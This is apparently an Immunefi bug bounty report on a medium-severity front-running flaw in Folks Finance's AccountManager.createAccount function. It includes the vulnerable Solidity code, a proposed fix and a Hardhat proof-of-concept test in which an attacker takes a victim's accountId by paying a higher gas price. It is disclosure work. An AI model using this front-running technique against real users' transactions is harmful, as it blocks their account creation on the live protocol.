# Boost \_ Folks Finance 33614 - \[Smart Contract - Medium] Front-Running Vulnerability in createAccount Submitted on Wed Jul 24 2024 14:54:47 GMT-0400 (Atlantic Standard Time) by @chista0x for [Boost | Folks Finance](https://immunefi.com/bounty/folksfinance-boost/) Report ID: #33614 Report type: Smart Contract Report severity: Medium Target: Impacts: * Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol) ## Description ## Brief/Intro The `createAccount` method in the protocol's contract is vulnerable to a front-running attack. A malicious user can exploit this by observing a pending transaction and submitting their own transaction with the same `accountId` but with a higher `gasPrice`, causing the victim's transaction to be reverted due to the account ID already being in use. ## Vulnerability Details The `createAccount` function currently checks if an `accountID` is already created and reverts the transaction if it is. However, this implementation allows a malicious user to front-run a legitimate user's account creation request by submitting a transaction with the same `accountId` but with a higher `gasPrice`. This results in the attacker's transaction being processed first, and the legitimate user's transaction being reverted due to the account ID collision. The relevant code snippet from the `createAccount` method is: ```solidity contract AccountManager is IAccountManager, AccessControlDefaultAdminRules { /// @notice Mapping of accounts to whether they are created mapping(bytes32 accountId => bool isCreated) internal accounts; /// @notice Mapping of account to addresses on spoke chains which will/are/have been able to manage the account mapping(bytes32 accountId => mapping(uint16 chainId => AccountAddress)) internal accountAddresses; /// @notice Mapping of addresses on spoke chains to the accountId they are registered to mapping(bytes32 addr => mapping(uint16 chainId => bytes32 accountId)) internal registeredAddresses; /// @notice Mapping of account to addresses on hub chain which are permitted to manage the account mapping(bytes32 accountId => mapping(address => bool isDelegated)) internal accountDelegatedAddresses; ... function createAccount( bytes32 accountId, uint16 chainId, bytes32 addr, bytes32 refAccountId ) external override onlyRole(HUB_ROLE) { // check account is not already created (empty is reserved for admin) if (isAccountCreated(accountId) || accountId == bytes32(0)) revert AccountAlreadyCreated(accountId); // check address is not already registered if (isAddressRegistered(chainId, addr)) revert AddressPreviouslyRegistered(chainId, addr); // check referrer is well defined if (!(isAccountCreated(refAccountId) || refAccountId == bytes32(0))) revert InvalidReferrerAccount(refAccountId); // create account accounts[accountId] = true; accountAddresses[accountId][chainId] = AccountAddress({ addr: addr, invited: false, registered: true }); registeredAddresses[addr][chainId] = accountId; emit CreateAccount(accountId, chainId, addr, refAccountId); } ... function isAccountCreated(bytes32 accountId) public view override returns (bool) { return accounts[accountId]; } } ``` ## Impact Details This vulnerability can be exploited by a malicious user to prevent legitimate users from creating new accounts on the protocol. By continuously front-running transactions, an attacker could effectively block all new account creation attempts, causing significant disruption to the protocol's user base. ## Recommendation To mitigate this vulnerability, it is recommended to generate the `accountId` using a `seed` provided by the user and the `sender's address`. This can be achieved by hashing the seed and the address together, preventing attackers from predicting or replicating the `accountId`. Proposed code change: ```solidity function createAccount(bytes32 seed, uint16 chainId, bytes32 addr, bytes32 refAccountId) ) external override onlyRole(HUB_ROLE) { bytes32 accountId = keccak256(abi.encode(seed, addr)); // existing logic... } ``` ## References * [AccountManager.sol on GitHub](https://github.com/Folks-Finance/folks-finance-xchain-contracts/blob/fb92deccd27359ea4f0cf0bc41394c86448c7abb/contracts/hub/AccountManager.sol#L42) ## Proof of concept ## Proof of Concept (POC) The following test simulates a front-running attack. The attacker submits a transaction with a higher gas price, causing the legitimate user's transaction to be reverted. Add the code to the `test\hub\AccountManager.test.ts` ```javascript describe("CreateAccount Front-Running", () => { it("Chista0x-Front-Running-CreateAccount Should fail to create account when account id already in use", async () => { const { hub, unusedUsers, accountManager, spokeChainId, refAccountId } = await loadFixture(createAccountFixture); const victim_Addr = convertEVMAddressToGenericAddress(unusedUsers[0].address); const attacker_Addr = convertEVMAddressToGenericAddress(unusedUsers[1].address); // Just for change nonce that simulate front-running await accountManager.grantRole(HUB_ROLE, unusedUsers[0]); await accountManager.grantRole(HUB_ROLE, unusedUsers[1]); const accountId_Same: string = getAccountIdBytes("ACCOUNT_ID_Same"); expect(await accountManager.isAccountCreated(accountId_Same)).to.be.false; // set the mining behavior to false, so the transaction will be collected in the mempool, before finalization await network.provider.send("evm_setAutomine", [false]); // Victim made the transaction for create account with new account id const createAccount_victim = await accountManager.connect(unusedUsers[0]) .createAccount(accountId_Same, spokeChainId, victim_Addr, refAccountId, { gasLimit: 500000, gasPrice: ethers.parseUnits("100", "gwei") }); console.log("Victim TX Hash = ", createAccount_victim.hash); // attacker create front-running for victim transaction with same accountId (send trx with higher gasPrice) const createAccount_attacker = await accountManager.connect(unusedUsers[1]) .createAccount(accountId_Same, spokeChainId, attacker_Addr, refAccountId, { gasLimit: 500000, gasPrice: ethers.parseUnits("101", "gwei") }); console.log("Attacker TX Hash = ", createAccount_attacker.hash); const pendingBlock = await network.provider.send("eth_getBlockByNumber", [ "pending", false, ]); console.log("\n Pending Transactions = " , pendingBlock.transactions); // Manually create a block with the pending transactions await network.provider.send("evm_mine", []); // verify account is created expect(await accountManager.isAccountCreated(accountId_Same)).to.be.true; expect(createAccount_attacker) .to.emit(accountManager, "CreateAccount") .withArgs(accountId_Same, spokeChainId, attacker_Addr, refAccountId); expect(createAccount_victim) .to.be.revertedWithCustomError(accountManager, "AccountAlreadyCreated") .withArgs(accountId_Same); expect(await accountManager.isAddressRegisteredToAccount(accountId_Same, spokeChainId, attacker_Addr)).to.be.true; // true expect(await accountManager.isAddressRegisteredToAccount(accountId_Same, spokeChainId, victim_Addr)).to.be.false; // false }); }); ``` To run the test, use the following command: ```bash npx hardhat test --grep "Chista0x-Front-Running-CreateAccount" ``` Sample test output: ```bash $ npx hardhat test --grep "Chista0x-Front-Running-CreateAccount" AccountManager (unit tests) CreateAccount Front-Running Victim TX Hash = 0x78f826e948b8b3f07c1d2ae47716b0d337380f0ed5c72cca2cc78ce6c6eb7c45 Attacker TX Hash = 0x7ff4d7559af3511fe1534ec3e95a6513938d0c5f700af2d26ece636ee608d565 Pending Transactions = [ '0x7ff4d7559af3511fe1534ec3e95a6513938d0c5f700af2d26ece636ee608d565', '0x78f826e948b8b3f07c1d2ae47716b0d337380f0ed5c72cca2cc78ce6c6eb7c45' ] ✔ Chista0x-Front-Running-CreateAccount Should fail to create account when account id already in use (3024ms) 1 passing (3s) ```